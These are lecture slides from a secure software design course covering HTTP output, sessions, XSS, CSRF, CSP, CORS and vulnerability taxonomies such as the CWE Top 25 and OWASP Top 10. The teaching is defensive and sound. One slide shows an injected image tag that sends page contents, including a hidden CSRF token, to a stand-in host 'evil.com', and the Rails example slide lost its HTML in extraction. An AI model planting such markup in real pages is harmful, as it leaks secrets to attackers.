Secure-Software-6-Output.ppt

SWE 681 / ISA 681
Secure Software Design &
Programming:
Lecture 6: Output, web applications,
top weakness lists/taxonomies,
& coding standards/guides
Dr. David A. Wheeler
2022-01-04

Outline
• Sending output back
• Web applications
– Including related vulnerabilities
• Common vulnerability lists/taxonomies
• Guides
2

Abstract view of a program
3
Program
Process Data
(Structured Program
Internals)
Input Output
Call-out to
other programs
(also consider
input & output issues)
You are here
(for the first part
of this lecture)

Minimize security-related feedback
to untrusted users
• “Login failed” – don’t say why
– Log that instead
– Haven’t logged in… especially untrusted!!!
– The point is to prevent attackers from figuring out
valid usernames; if usernames are already public,
don’t worry about hiding whether or not
usernames are valid
• Don’t echo passwords on-screen
– Inhibits shoulder surfing
4

Don’t send comments to users
• Don’t send comments inside material to users
unless you’re sure it’s okay to view
– System design shouldn’t depend on secrecy of design
– However, if you’re transmitting comments, it’s easy to
accidentally include data you shouldn’t (passwords,
secret keys, other session ids, PII)
• Primarily an issue with web applications
– Comments in HTML/XML/CSS snippets may be used to
generate code
– Okay to comment code; be careful sending it
– Put comments in separate place or strip out
5

Handle full/unresponsive output
• User system may clog/be unresponsive
– E.G., web browser halted, slow TCP/IP response
– Don’t let your system hang due to unresponsive user!
• Release locks quickly, preferably before replying
• Use time-outs on network-oriented writes
– Measure from start of your attempt – ok to halt in the
middle
• Don’t create an easy opportunity for a Denial-of-
Service attack
6

HTML target=… & window.open()
can enable reverse tabnabbing
• HTML <a href=… target=…> can create on click a window in new target
– E.G., target="_blank" creates target in new tab (in HTML _self is default)
• HTML non-_self target creates a potential vulnerability:
– Page being linked to runs in the same process as calling page!!
– On click, receiving page gains partial control over the linking page via
window.opener value, even if they have different origins
• E.g., can navigate calling page via window.opener.location = newURL (users rarely notice)
– Other attacks exist. At least: attacker can use window.open (named window)
– Recipient (after click) controls parts of calling page (reverse tabnabbing)
– Page’s performance may also suffer (due to shared process)
• Beware using JavaScript window.open(…); default target is risky “_blank”
• Possible solutions (> fixing HTML/JavaScript specs/implementations!):
1. Avoid using target=… (_blank or anything else that opens a new navigation
context), especially for links to user-generated content & external domains
2. If _target set, at least use rel="noopener" (partial, still have window.open)
3. If _target set, possibly use rel="noopener noreferrer" (for older browsers)
4. Avoid “var newWnd = window.open()”; else do “newWnd.opener = null;”
7
Source: “Target="_blank" - the most underestimated vulnerability ever” by Alexander "Alex" Yumashev, 2016-05-04, https://www.jitbit.com/alexblog/256-targetblank---the-
most-underestimated-vulnerability-ever/; CWE-1022; and Lighthouse, “Opens External Anchors Using rel="noopener“, 2017,
https://developers.google.com/web/tools/lighthouse/audits/noopener Note: noopener supported by Chrome 49+, Firefox 52+, Opera 36+, Safari since late 2016
Dangerous &
many don’t
know it

Control the character encoding of
output
• Don’t let browser/user guess the character
encoding – tell them (and make sure it’s right)
– If browser has to guess, attacker may fool system
into sending material that leads to wrong guess
• Can include in HTML <head>
– <meta http-equiv="Content-Type"
content="text/html; charset=ISO-8859-1">
• HTTP “charset” (HTTP/1.1 is practically
universally implemented, so okay to use now)
8

Metacharacters: Same issue
• Escape any characters you send back that
might be interpreted as metacharacters
• Common problems in HTML/XML: < > & " '
• Challenge: Must ensure browser interprets
them the same way
– Encoding!
– Again, use an allowlist (not a denylist)
9

java.net.URLEncoder.encode
(String s, String enc)
• Translates a string into application/x-www-form-
urlencoded format using a specific encoding scheme (e.g.,
UTF-8)
• Rules (per Java spec):
– Remain same: A-Z, a-z, 0-9, ".", "-", "*", and "_"
– Space converted to “+”
– All other characters are unsafe:
• Converted into encoding scheme (UTF-8 recommended)
• Each byte is represented by "%xy", where xy is 2-digit hex
representation
• E.G., encode("The string ü@foo-bar" , "UTF-8") produces
"The+string+%C3%BC%40foo-bar“
– In UTF-8, ü is encoded as two bytes C3 (hex) and BC (hex), while
@ is encoded as one byte 40 (hex)
10

Escaping text in
Web application frameworks
• Some web application frameworks encode
strings for HTML by default when outputting
– Safer defaults are generally a good thing (less
likely to make a mistake)
• Know when escaping does & doesn’t happen
– Otherwise you may escape more than once
– Otherwise you might accidentally disable or
circumvent escaping
– Goal: Escape what you need to escape ONCE
11

Ruby on Rails
• “SafeBuffer” is String subclass for HTML text that’s safe to output
– Normal String considered unsafe; user data in String by default
– String.html_safe() returns SafeBuffer version of data without escaping
it (beware – do not use on untrusted user data!)
– If SafeBuffer concatenates (unsafe) String (e.g., “<<“ or “+”), String is
HTML escaped & then concatenated to produce combined SafeBuffer
– If SafeBuffer concatenates SafeBuffer, no additional escaping
– Tag helpers concatenate application-provided tags (in SafeBuffers)
with user-provided data (auto-escaped if unsafe, per previous rule)
• HTML typically generated by ERB template
– Rails renders text into a SafeBuffer; constant template data (part of
application) considered safe & thus is in a SafeBuffer
– <%= ruby code to output %> is concatenated, thus results have HTML
escaping applied to it if its results are unsafe (e.g., normal string)
– <%= raw … %> and <%== … %> are html_safe, not escaped (optimized)
12
This applies to Ruby on Rails version 3 or later.
Source: Koch, Henning. Everything you know about html_safe is wrong.
http://makandracards.com/makandra/2579-everything-you-know-about-html_safe-is-wrong

Ruby on Rails Example
13

<%= ' ' %>
<%= ' '.html_safe %>

html = ''.html_safe
html << ''.html_safe
html << ' '
html << ' '.html_safe
html << ''.html_safe
html
Example ERB Template
Internally Ruby on Rails does…

 
 

Producing
this HTML
Source: Koch, Henning. Everything you know about html_safe is wrong.
http://makandracards.com/makandra/2579-everything-you-know-about-html_safe-is-wrong

Focus on Web applications:
HTTP, HTTPS, HTML
• HTTP: Protocol for requesting/sending
information
• HTTPS: HTTP over SSL/TLS (encrypted)
• HTML: Common data format
14

HTTP
• HTTP - HyperText Transfer Protocol
– Simple request/response protocol
– Web client sends requests, web server responds
– Runs on top of TCP/IP protocols
• Basic protocol:
– Client (e.g., user’s web browser) sends HTTP request
to HTTP server port (typically port 80)
– HTTP server receives request & performs some action
per request & privileges
– HTTP server sends back request file (if ok) and
status/error message
15

Standard HTTP request methods
(per spec)
• OPTIONS: Get info on comm options
• GET: Retrieve information
• HEAD: Like GET, but just get meta-information
• POST: Post (form) data
• PUT: Store (replacement) data
• DELETE: Delete the resource
• TRACE: Show client what recipient recieves
• CONNECT: Reserved for future use
Typically have message headers, field-name: [value]
16

HTTP Safe Methods
(per HTTP specification)
• GET and HEAD methods SHOULD NOT have the
significance of taking any action other than retrieval
– Don’t buy/sell anything, change status, etc.
• User agents can represent other methods (e.g., POST,
PUT and DELETE) differently, denote “possibly unsafe”
– E.g., GET = Click on link, POST = “Submit” button
– Important hint to user – helps prevent fooling user
• Protocol can’t enforce, but if GET or HEAD used, “user
did not request the side-effects, so therefore cannot be
held accountable for them”
17

HTTP/1.1 vs. HTTP/2
• HTTP/1.1 is a simple text-based protocol
– every line ends with CRLF (officially)
– blank line ends the request
• HTTP/2 is newer optimized version of HTTP
– binary, not textual (faster to process & more compact)
– fully multiplexed, instead of ordered and blocking
• can therefore use one connection for parallelism
– uses header compression to reduce overhead
– designed so HTTP/1 & HTTP/2 can be translated back
& forth with no loss of information
• Both in wide use – HTTP/1.1 easier to illustrate
18

Trivial HTTP/1.1 GET request
(from client to server)
GET /index.html HTTP/1.1
host: www.dwheeler.com
accept-Language: en
Connection: keep-alive
referer: https://www.dwheeler.com/misc.html
Blank line to end the request
19
You can send this manually using:
telnet www.dwheeler.com 80

HTTP/1.1 Responses
• First line is “Status line”
– Protocol version, 3-digit numeric status code, &
associated textual phrase
– 2xx: Success - The action was successfully
received, understood, and accepted. 200=OK
– 4xx: Client Error - The request contains bad syntax
or cannot be fulfilled. 404=not found,
401=unauthorized
• Followed by rest of response
20

Trivial HTTP/1.1 GET reply
HTTP/1.1 200 OK
Date: Mon, 01 Oct 2012 21:41:47 GMT
Server:
Last-Modified: Sun, 02 Sep 2012 18:49:14 GMT
ETag: "67622cb-9d4f-7b3f5e80"
Accept-Ranges: bytes
Content-Length: 40271
Content-Type: text/html
Blank line precedes reply data
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html lang="en-US">
<head>
…
21

HTTP/1.1 Response Splitting
• HTTP/1.1 replies (like the previous one) can
include many fields
• Be very careful about data sent back in fields
– Especially newline & return! Attacker can create
new fields/responses if can insert these
– Any control characters & “:” concerning
– Allowlist, not denylist – limit to alphanum if can
– Best to limit input also (if you can)
22

Trivial HTTP/1.1 POST Request
POST /myform.html HTTP/1.1
host: www.example.com
cookie: myId=dwheeler
referer: http://www.example.com/index.html
content-Type: application/-x-www-form-urlencoded
content-Length: 325
connection: keep-alive
Blank line to end the header, encoded data follows
23

GET: Parameters sent as part of
query string
• “GET” can send information, via query string
parameters
– Often sent to other sites by HTTP referer header
– Often stored in browser history
– Often written to log files
• POST sends parameters separately (body)
• Use POST when:
– Doing some action that shouldn’t be auto-repeated
– Information is sensitive
– When authentication required
– In these cases forbid GET, don’t allow as alternative
24

HTTP Cookies: Basics
• Server may reply with fields to set cookies:
Set-Cookie: name=value
Set-Cookie: name2=value2; Expires=Wed, 09-Jun-2021 10:18:14 GMT
• From then on, browser includes cookie values
as part of requests to that domain:
Cookie: name=value; name2=value2
• If no expiration time set, cookie expires when
browser exits
• If expiration time set, browser is supposed to
store cookie persistently (user may erase)
25

Cookie attributes
• Beyond name/value pair, cookie attributes:
– cookie domain: Server domain when cookie will be
sent (default: this domain, limits on alternates)
– path: Path when cookie will be sent (default: this
path)
– expiration time or maximum age (seconds)
– secure flag: Only transmit on encrypted channel
– HttpOnly flag: Only HTTP/HTTPS (not javascript)
• Browsers will not send cookie attributes back to
the server (just name/value pair)
26

Session Management
• HTTP is stateless
– By itself, a server doesn’t know of any relationship between
“this” request (or user) & previous requests
– Perfect for “please send me this static file”
– Inadequate for interactive applications, shopping carts, etc.
• For many applications, need to identify & manage sessions
– Typically by passing a “session identifier”
– User logs in, gets session id, all logged-in requests have that id
– Typically exchanged in a cookie (secure, HttpOnly)
• Good session identifiers are not guessable
• Session management, properly implemented, can prevent
session hijacking and cross-site request forgery (CSRF)
attacks
27

Session Management: Reuse Code
• Best to use existing application container/ library
for HTTP session management
– Set up session ids, etc.
• But check that it’s secure (may need to
configure):
– Session identifier should have at least 128 bits of
random data (else too easily guessed)
– Must use cryptographically secure pseudo-random
number generator (PRNG) to generate identifier – not
“add one” or roll-your-own
– Encrypt session ids over untrusted channels
• If you don’t, many can see session id, enables session forging
28

Always create new session when
user authenticates
• Even if user has an existing session, always create
a new session when user authenticates
– Ignore old session
• Failing to do so permits “session fixation” attack
– Attacker creates a new session, tricks user into using
that session to authenticate against
– Server sees user has a session ID & reuses it
– Attacker may now be able to use session ID (that they
created) to gain control with victim’s privileges
29

Session fixation attack
• In session fixation attack, attacker exploits
server that fails to reassign session ids on login
30
Web Server
Mallory
(Malicious user)
Alice’s
Web browser
1. Mallory logs in & gets
session_id = 111
3. Alice clicks, browser goes to site
& auto-provides session_id=111,
username, and password
2. “Click here to
see dancing pigs”
http://...?session_
id=111
4. Server sees session_id & just
reuses it, & reassociates that
session_id to Alice
4. Mallory re-accesses with
session_id, which now has
Alice’s permissions

Sessions: Limit Time
(Idle time & session time)
• Set maximum session idle time and maximum session
time to reduce risk & damage
– If user doesn’t log out, only short exposure time
– Fewer valid session ids for attacker to guess
– Even if attacker gets session id, limits time it’s valid
• E.g., an application container that implements Java
Servlet: configure web.xml to set session idle timeout:
<session-config> <!—timeout, in minutes -->
<session-timeout>60</session-timeout>
</session-config>
31

Session time: Limit maximum time
• May have to implement session timeouts yourself
• Java servlets: Chess book describes how to use
doFilter() to do this
– Store current time for session first time request is
made for that session
– If session still in use after maximum lifetime,
invalidate session
• Be sure to provide a “logout” function for users
– So users can make the time even shorter!
32

Sessions: Ensure that
logging off disables cookie
• Users expect that after “log off” they must “log in” to
reconnect
– To ensure this, log off must disable server-side session
cookies to prevent its reuse
– Otherwise, the cookie could continue session
– Session cookies can be captured, e.g., by malware, XSS (to
be discussed), or by stealing your phone
• Many systems don’t disable cookies on log off
– Failures include: Office 365, Yahoo mail, Wordpress
– Correctly disable: Gmail, Tweetdeck, Facebook
– As of 2013-07-13
More info: http://samsclass.info/123/proj10/cookie-reuse.htm
33

Cross-Site Scripting (XSS) /
Cross-Site Malicious Content
• Clients (e.g., web browsers) typically presume
that server intended to send data it sent
– Some secure programs (e.g., web apps) accept data &
pass that data on to a user’s application (the victim)
– If the secure program doesn't protect the victim, the
victim's application (e.g., their web browser) may then
process that data in a way harmful to the victim
– Server isn’t subverted directly… but used as a pass-
through to victim
• Not called “CSS” (= Cascading Style Sheets)
34

XSS – Persistent Store Example
• In persistent-store XSS, attacker sends data to server
that is stored by server for later use
• When victim requests, server includes malicious data
35
Web Server
Mallory
(Malicious user)
Alice’s
Web browser
Database
1. Mallory sends
malicious data (e.g.,
HTML comment with
malicious script in it)
2. Data stored &
later retrieved
3. Alice requests info (e.g., view
comments), & receives malicious
code (that may be auto-run)

XSS –Reflection Example
• In reflected XSS, attacker sends data to victim so victim will send it on to
server
– Often a special hypertext link or web form pointed to trusted server
• Server then reflects data back; victim browser sees data “from” the server
& trusts it
36
Web Server
Mallory
(Malicious user)
Alice’s
Web browser
1. Mallory sends
malicious data to
Alice (e.g., in a
hypertext link/form)
2. Alice
sends on
to server
3. Alice receives
malicious data
“reflected back” to
her… and trusts it

XSS- DOM-based
• Client is tricked into sending itself attack
• See:
• https://www.owasp.org/index.php/Types_of_
Cross-Site_Scripting
37

Countering XSS
• Output escaping
– Untrusted user data should be escaped before sending to user
– This is normally the best countermeasure: completely counters & is flexible
– Problem: Have to do it everywhere (easy to miss one)
– Many frameworks have automatic mechanisms to do this (use them!)
– Avoid copying data back to user – then you can’t do it wrongly (if URL bad,
don’t send it back – legitimate user can see it already)
• Input filtering for metacharacters
– Metacharacters include <, &, >, ",'
– Forbid/remove/quote on input
– Often can’t do this, so often ineffective
– Use libraries for HTML input (e.g., to allow … without allowing
embedded Javascript)
• Set HttpOnly on cookies sent
– Web browser scripts can’t access these cookie values
– Imperfect defense, but can make some attacks harder
38

Newer XSS countermeasure:
Content Security Policy (CSP)
• Content Security Policy (CSP) is W3C Recommendation
• Defines “Content-Security-Policy” HTTP header
– If used, creates allowlist of sources of trusted content for this webpage
– Compliant browsers only execute/render items (Javascript) from those sources
• Chrome 16+, Safari 6+, and Firefox 4+. IE 10 has very limited support
– Twitter and Facebook have deployed this
• Typically must modify website design to fully use it
– E.g., move Javascript into separate files, otherwise receiving browser can’t
distinguish allowlisted & malicious Javascript
• Only works when users use compliant browsers
• Expect CSP to grow additional capabilities
• More info:
– http://www.html5rocks.com/en/tutorials/security/content-security-policy/
– http://www.w3.org/TR/CSP/
– https://blog.twitter.com/2011/improving-browser-security-csp
39

Content Security Policy (CSP) helps,
but is no panacea
• CSP is a useful defensive measure, but can sometimes be worked
around – so do not depend on it as your sole countermeasure
• E.G., evil URL:
<img src='http://evil.com/log.cgi? Injected line, non-terminated param
...
<input type="hidden" name="xsrf_token" value="12345"> Secret
...
' Normally-occurring apostrophe
• When user views, evil.com receives a lot of the following text
(including text that was supposed to be hidden)
• Use output escaping or other primary measures, then use defensive
measures (like CSP) to counter mistakes
Source: “Postcards from the post-XSS world” by Michal Zalewski, http://lcamtuf.coredump.cx/postxss/
40

Cross-Site Request Forgery
(CSRF/XSRF)
• Cross-site request forgery (CSRF/XSRF)
essentially opposite of XSS
– XSS exploits user’s trust in a server
– CSRF/XSRF exploits server’s trust in a client
• In CSRF/XSRF:
– Attacker tricks user into sending data to server
– Server believes that user consciously &
intentionally chose that action
• XSS fools clients; XSRF fools servers
41

Cross-Site Request Forgery
(CSRF/XSRF) Example
• In CSRF/XSRF, like reflected XSS, attacker sends data to
victim so victim will send it on to server
– Attacker’s approach is in many ways like reflected XSS
• Attacker’s purpose is for server to act on the command
– Target is server not client – difference from XSS
42
Web Server
Mallory
(Malicious user)
Alice’s
Web browser
1. Mallory sends
malicious data to
Alice (e.g., in a
hypertext link/form)
2. Alice sends on to server;
server acts on command
“sent” by Alice

Countering CSRF/XSRF
• Require re-authentication (login) in critical operation
• Require secret user-specific CSRF token in all forms/side-effect URLS
– Attacker doesn’t know its value, so can’t insert matching token
– Common solution today, most web frameworks build this in
• Use “SameSite” cookie attribute (Lax or Strict) – most browsers support
– Asserts cookie must only be sent with requests initiated from same domain
– Good long-term backwards-compatible solution – use it!
– Great news: Chrome & Firefox cookies will be SameSite=Lax by default!
• Check HTTP Referer or Origin header
– Must treat “No Referer” as unauthorized (attacker can suppress Referer)
– Some client vulnerabilities may subvert this; avoid as sole approach
• Use CSRF countermeasures in login - prevent login forgery
• Helpful partial countermeasures (make harder to attack):
– Logoff after X minutes inactivity
– Don’t allow GET (link) to have side-effects - only POST (button)
43
More about SameSite cookie attribute: https://www.sjoerdlangkemper.nl/2016/04/14/preventing-csrf-with-samesite-cookie-attribute/
And https://caniuse.com/#feat=same-site-cookie-attribute

CSRF/XSRF: A success story
• At one time CSRF/XSRF was one of the most
common serious vulnerabilities
• Drastically reduced likelihood today, because
countermeasures now enabled by default
– Frameworks typically embed countermeasure
– Cookie “SameSite” provided simple countermeasure
– Chrome & Firefox switching to SameSite=Lax by
default, preventing the problem entirely for them
• Illustrates the value of defaults
– Where possible, built countermeasures into your
tools/standards/system so the problem won’t occur
44

Web applications – hardening
headers to make attacks harder
• Content Security Policy (CSP) – already noted
• HTTP Strict Transport Security (HSTS)
– “Only use HTTPS from now on for this site”
• X-Content-Type-Options (as "nosniff")
– Don’t guess MIME type (& confusion it can bring)
• X-Frame-Options
– Clickjacking protection, limits how frames may be used
• X-XSS-Protection
– Force enabling filter to detect likely (reflected) XSS by
monitoring requests / responses
– On by default in most browsers
• Quick scan tool: https://securityheaders.io/
45
See: https://www.owasp.org/index.php/List_of_useful_HTTP_headers

Redirection
• Web applications frequently redirect and forward users to other
pages and websites
• Don’t use unvalidated untrusted data to determine destination
pages
• Solutions (per OWASP):
1. Simply avoid using redirects and forwards.
2. If used, don’t involve user parameters in calculating the destination.
This can usually be done.
3. If destination parameters can’t be avoided, ensure that the supplied
value is valid, and authorized for the user. It is recommended that
any such destination parameters be a mapping value, rather than the
actual URL or portion of the URL, and that server side code translate
this mapping to the target URL
4. Applications can use OWASP ESAPI to override the sendRedirect()
method to make sure all redirect destinations are safe
46

Disable caching correctly for
sensitive data
• Web browsers normally cache web pages to storage
– Greatly reduces future latency
– Do not cache sensitive data – enables many attacks
• Disable sensitive data caching using HTTP 1.1 (1999)
– Cache-Control: no-store
• Common mistake = Using non-standard approach
– Non-standard cache disabling mechanisms only disable
caches on some browsers, & few test it
– “Industry-wide Misunderstandings of HTTPS” (June 2013)
found that 70% of tested financial, healthcare, insurance
and utility account sites did it wrong (“Only IE6 exists”)
• In general, try to use standard mechanisms for security
47

Same-origin policy
• Security model of JavaScript running in a web browser
• Pages may only access data in a different web page if
their origin is same (URI scheme + host name + port#)
• Primary exceptions of same-origin policy:
– Some old operations (generally predating JavaScript), e.g.,
img src, submitting POST forms, and including scripts
– Corner cases for pseudo-protocol schemes (e.g. file://)
– Windows (or frames) with scripts that set
document.domain to the same value [can interact]
– Message-passing text via postMessage() [can interact]
– WebSockets (request sets origin, server checks if origin ok)
– Cross-Origin Resource Sharing (CORS)… let’s talk about that
48

Cross-origin resource sharing
(CORS)
• Relaxes single-origin policy of web browsers (be careful!)
• When JavaScript makes cross-origin request, “Origin:” sent
• Server examines origin & replies in HTTP header if allowed:
– Access-Control-Allow-Origin: permitted origin or “*” (or null)
– Access-Control-Allow-Methods: permitted methods (e.g., GET)
– Access-Control-Allow-Credentials: if true, share credentials (!)
• Web browser checks if origin specifically allowed (default “no”)
– Thus, both server & web browser must agree access permitted
• Sometimes GET & POST are directly requested (see W3C spec)
– In many cases web browser first makes “preflight” request to server
using OPTIONS to determine permission before making actual request
• Beware of Access-Control-Allow-Credentials
– If “true” then credentials directly shared – only use if you totally trust
other site & it’s absolutely necessary
49
For more information, see “Exploiting CORS Misconfigurations for Bitcoins and Bounties” by Jim Kettle, Oct. 14, 2016,
http://blog.portswigger.net/2016/10/exploiting-cors-misconfigurations-for.html

Web applications are client/server
• Web browser is a client, web server is a server
• Need to not trust each other
• In particular, server must not blindly trust what client says
– JavaScript on client is not a problem per se, but…
– Server must NOT trust validation by untrusted client (including
JavaScript running on client)
– If you don’t want the attacker to subvert something, then it
must not be under control of the attacker
• In most cases, data must be stored on the server, and any request to
change it must be checked first on server to ensure it’s allowed
• Be especially careful if you’re running JavaScript on client or providing
direct access to database – ensure input validations is non-bypassable,
more generally, ensure that attacker can’t control application
– Yes, we’ve said this before 
50

Top weakness lists, taxonomies,
and style guides
51

Overview of some common top
weakness lists & taxonomies
• Different organizations have developed “top” weaknesses (types of flaws
that can lead to a vulnerability)
– Goal: Identify some specific “things to look for first”
– Vulnerability lists may merge problems that can’t happen (or are less
important) in a particular environment – or be specific to a different
environment (web vs. embedded)
– Best “top” list is the one for your project & organization
– You do not need to memorize items in list or CWE numbers!
– You do need to know, for a given name, what it is (if we’ve covered it)
• Taxonomies try to give broader overviews/organization of weaknesses
– Some organized by attack (how to attack it)
– Some organized by flaws (defect which may result in security violation)
• We’ll review a few “top” weakness lists & taxonomies
– Help reinforce what we’ve already learned
– Want you to know of some common ones (name recognition)
– Haven’t covered some yet (crypto) – we will!
52

Common Vulnerabilities and
Exposures (CVE)
• CVE = “dictionary of publicly known information security
vulnerabilities and exposures”
• Vulnerability = a specific mistake in some specific software
directly usable by an attacker to gain access to
system/network (not just any mistake)
• Exposure = a specific system configuration issue or mistake
in software that allows access to information or capabilities
that can be used as a stepping-stone
• CVE-2013-1380 = Specific Adobe Flash Player vulnerability
• Common naming system – know if discussing same thing
– Many organizations report vulnerabilities
– CVE IDs let you cross-reference their reports
• More info: http://cve.mitre.org & http://nvd.nist.gov/
53

Common Vulnerability Scoring
System (CVSS) version 2.0
• Standard scoring system for a vulnerability (0..10, 10=riskiest)
• Goal: Simplify prioritizing them for remediation
• Base metric group - intrinsic characteristics
– Access Vector (AV): Local, adjacent network, network
– Access Complexity (AC): High, medium, low
– Authentication (Au): Multiple, single, none
– Confidentiality Impact (C): None, partial, complete
– Integrity Impact (I): None, partial, complete
– Availability Impact (A): None, partial, complete
• Temporal (optional) - characteristics that change over time
– Exploitability (E); Remediation Level (RL); Report Confidence (RC)
• Environmental (optional) - characteristics relevant to particular
environment
– Collateral Damage Potential (CDP); Target Distribution (TD); Security
Requirements (CR, IR, AR)
54
“A Complete Guide to the Common Vulnerability Scoring System Version 2.0” http://www.first.org/cvss/cvss-guide.html
“CVSS version 2 calculator” http://nvd.nist.gov/cvss.cfm?calculator&version=2

Common Weakness Enumeration
(CWE)
• Common Weakness Enumeration (CWE) = list of
software weaknesses
• Weakness = Type of vulnerabilities
• CWE-120 = Buffer Copy without Checking Size of
Input (“Classic Buffer Overflow”)
• Again, common naming system
– Useful as “common name”
– Does have some structuring/organization (slices,
graphs, parents/children)… but that’s not its strength
• More info: http://cwe.mitre.org
55

OWASP Top 10 (2017) for web
applications
56
Security Risk Covered in class session on:
A1: Injection Calling out (SQL injection, shell injection)
A2: Broken Authentication and Session
Management
Authentication
A3: Sensitive Data Exposure Design (least privilege), Cryptography
A4: XML External Entities (XXE) Calling out
A5: Broken Access Control Design (least privilege), Web application
A6: Security Misconfiguration Design
A7: Cross-Site Scripting (XSS) Design, Web application
A8: Insecure Deserialization Calling out
A9: Using Components with Known
Vulnerabilities
Obsolete code (8), Calling out, Design
A10: Insufficient Logging & Monitoring Calliing out, Design
Cross-Site Request Forgery (CSRF) contentiously dropped from 2013 version. Rationale: many
frameworks offer secure-by-default protections, web browsers now support SameSite cookie attribute.
Source: “OWASP Top 10 2007-2017: The Fall of CSRF” by Jack Mannino, 2017-11-30, https://nvisium.com/resources/blog/2017/11/30/owasp-top-10-2007-2017-the-fall-of-csrf.html

CWE Top 25 list
• In 2011 CWE/SANS released a “top 25” list
• CWE Top 25 list updated in 2019
– Based on the National Vulnerability Database (NVD)
vulnerabilities of 2017-2018, including a scoring
mechanism prefer common & high-impact
– This version is based on real world data (not a survey)
• Limitations
– Only uses NVD data with adequate info
– Vulnerabilities that are easier to find become “common”
– CWE data hierarchy problems
• Still, very useful
– Esp. since it includes non-web & based on real-world data
57

CWE Top 25 Most Dangerous
Software Errors (2019)
58
Rank ID Name Score
[1] CWE-119
Improper Restriction of Operations within the Bounds of a
Memory Buffer
75.56
[2] CWE-79
Improper Neutralization of Input During Web Page Generation
('Cross-site Scripting')
45.69
[3] CWE-20 Improper Input Validation 43.61
[4] CWE-200 Information Exposure 32.12
[5] CWE-125 Out-of-bounds Read 26.53
[6] CWE-89
Improper Neutralization of Special Elements used in an SQL
Command ('SQL Injection')
24.54
[7] CWE-416 Use After Free 17.94
[8] CWE-190 Integer Overflow or Wraparound 17.35
[9] CWE-352 Cross-Site Request Forgery (CSRF) 15.54
[10] CWE-22
Improper Limitation of a Pathname to a Restricted Directory
('Path Traversal')
14.10

59
Rank ID Name Score
[11] CWE-78
Improper Neutralization of Special Elements used in an OS
Command ('OS Command Injection')
11.47
[12] CWE-787 Out-of-bounds Write 11.08
[13] CWE-287 Improper Authentication 10.78
[14] CWE-476 NULL Pointer Dereference 9.74
[15] CWE-732 Incorrect Permission Assignment for Critical Resource 6.33
[16] CWE-434 Unrestricted Upload of File with Dangerous Type 5.50
[17] CWE-611 Improper Restriction of XML External Entity Reference 5.48
[18] CWE-94 Improper Control of Generation of Code ('Code Injection') 5.36
[19] CWE-798 Use of Hard-coded Credentials 5.12
[20] CWE-400 Uncontrolled Resource Consumption 5.04

60
Rank ID Name Score
[21] CWE-772 Missing Release of Resource after Effective Lifetime 5.04
[22] CWE-426 Untrusted Search Path 4.40
[23] CWE-502 Deserialization of Untrusted Data 4.30
[24] CWE-269 Improper Privilege Management 4.23
[25] CWE-295 Improper Certificate Validation 4.06
Source: “2019 CWE Top 25 Most Dangerous Software Errors”
https://cwe.mitre.org/top25/archive/2019/2019_cwe_top25.html
Oddity due to CWE structure: the #1 weakness (CWE-119, Improper Restriction of
Operations within the Bounds of a Memory Buffer) is itself the parent of #5 (CWE-
125, out-of-bounds read) and #12 (CWE-787, out-of-bounds write).
CSRF is still relatively common (in their dataset), #9; expect that to decrease.

NIST National Vulnerability
Database (NVD): CWE subset
61
Name CWE-ID Description
Authentication Issues CWE-287 Failure to properly authenticate users.
Credentials
Management
CWE-255
Failure to properly create, store, transmit, or protect
passwords and other credentials.
Permissions, Privileges,
and Access Control
CWE-264
Failure to enforce permissions or other access restrictions for
resources, or a privilege management problem.
Buffer Errors CWE-119
Buffer overflows and other buffer boundary errors in which a
program attempts to put more data in a buffer than the buffer
can hold, or when a program attempts to put data in a
memory area outside of the boundaries of the buffer.
Cross-Site Request
Forgery (CSRF)
CWE-352
Failure to verify that the sender of a web request actually
intended to do so. CSRF attacks can be launched by sending a
formatted request to a victim, then tricking the victim into
loading the request (often automatically), which makes it
appear that the request came from the victim. CSRF is often
associated with XSS, but it is a distinct issue.
Cross-Site Scripting
(XSS)
CWE-79
Failure of a site to validate, filter, or encode user input before
returning it to another user’s web client.

62
Cryptographic Issues CWE-310
An insecure algorithm or the inappropriate use of one; an
incorrect implementation of an algorithm that reduces
security; the lack of encryption (plaintext); also, weak key or
certificate management, key disclosure, random number
generator problems.
Path Traversal CWE-22
When user-supplied input can contain “..” or similar characters
that are passed through to file access APIs, causing access to
files outside of an intended subdirectory.
Code Injection CWE-94
Causing a system to read an attacker-controlled file and
execute arbitrary code within that file. Includes PHP remote
file inclusion, uploading of files with executable extensions,
insertion of code into executable files, and others.
Format String
Vulnerability
CWE-134
The use of attacker-controlled input as the format string
parameter in certain functions.
Configuration CWE-16
A general configuration problem that is not associated with
passwords or permissions.
Information Leak /
Disclosure
CWE-200
Exposure of system information, sensitive or private
information, fingerprinting, etc.

63
Input Validation CWE-20
Failure to ensure that input contains well-formed, valid data
that conforms to the application’s specifications. Note: this
overlaps other categories like XSS, Numeric Errors, and SQL
Injection.
Numeric Errors CWE-189
Integer overflow, signedness, truncation, underflow, and other
errors that can occur when handling numbers.
OS Command Injections CWE-78
Allowing user-controlled input to be injected into command
lines that are created to invoke other programs, using
system() or similar functions.
Race Conditions CWE-362
The state of a resource can change between the time the
resource is checked to when it is accessed.
Resource Management
Errors
CWE-399
The software allows attackers to consume excess resources,
such as memory exhaustion from memory leaks, CPU
consumption from infinite loops, disk space consumption, etc.
SQL Injection CWE-89
When user input can be embedded into SQL statements
without proper filtering or quoting, leading to modification of
query logic or execution of SQL commands.

64
Link Following CWE-59
Failure to protect against the use of symbolic or hard links that
can point to files that are not intended to be accessed by the
application.
Other No Mapping
NVD is only using a subset of CWE for mapping instead of the
entire CWE, and the weakness type is not covered by that
subset.
Not in CWE No Mapping
The weakness type is not covered in the version of CWE that
was used for mapping.
Insufficient Information No Mapping
There is insufficient information about the issue to classify it;
details are unknown or unspecified.
Design Error No Mapping
A vulnerability is characterized as a “Design error” if there
exists no errors in the implementation or configuration of a
system, but the initial design causes a vulnerability to exist.
Source: http://nvd.nist.gov/cwe.cfm

“A Software Flaw Taxonomy:
Aiming Tools At Security”
65
Source:
“A Software Flaw Taxonomy: Aiming Tools At Security”
Sam Weber Paul A. Karger Amit Paradkar
http://cwe.mitre.org/documents/sources/
ASoftwareFlawTaxonomy-AimingToolsatSecurity
%5BWeber,Karger,Paradkar%5D.pdf

Weakness Classes
(NSA Center for Assured Software)
Weakness class Example CWEs
Authentication and Access Control CWE-620: Unverified Password Change
Buffer Handling [not in Java] CWE-121: Stack-based Buffer Overflow
Code Quality CWE-561: Dead Code, CWE-676 Use of potentially dangerous function
Control Flow Management CWE-833: Deadlock
Encryption and Randomness CWE-328: Reversible One-Way Hash
